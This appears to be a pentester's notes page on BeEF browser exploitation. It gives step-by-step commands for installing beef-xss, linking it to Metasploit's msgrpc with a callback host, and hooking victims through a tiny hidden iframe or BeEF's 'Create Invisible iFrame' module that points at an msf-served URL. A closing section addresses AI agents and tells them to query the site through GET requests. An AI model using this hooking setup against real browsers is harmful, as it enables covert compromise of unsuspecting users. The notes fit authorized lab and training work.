# beef browser exploitation

## beef-xss installation

```bash
# clone from git in /opt
- sudo git clone https://github.com/beefproject/beef
./install

# enable connection to msf
# change default user:pass
$ subl /etc/beef-xss/config.yaml
credentials:
    user:   "kashz"
    passwd: "beef-xss"
metasploit:
    enable: true
```

## Connect MSF with beef

```bash
$ subl /usr/share/beef-xss/extensions/metasploit/config.yaml
host: "<tun0-IP>"
callback_host: "<tun0-IP>"
```

## Launch beef

```bash
# launch msf first
$ msfconsole -q
msf6 > load msgrpc ServerHost=<tun0-IP> Pass=kashz
[*] MSGRPC Service:  <>
[*] MSGRPC Username: msf
[*] MSGRPC Password: kashz
[*] Successfully loaded plugin: msgrpc

$ sudo /usr/share/beef-xss/beef -x
# takes a min to load everything up
```

## iFrame manual hook

```bash
<iframe src="<URL>" style="position: absolute;width:5;height:5;border:5;"></iframe>
```

## Send via beef

```bash
Commands > Misc > Create Invisible iFrame
# set URL as given by msf
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kashz.gitbook.io/kashz-jewels/os-windows/windows-privilege-escalation/beef-browser-exploitation.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
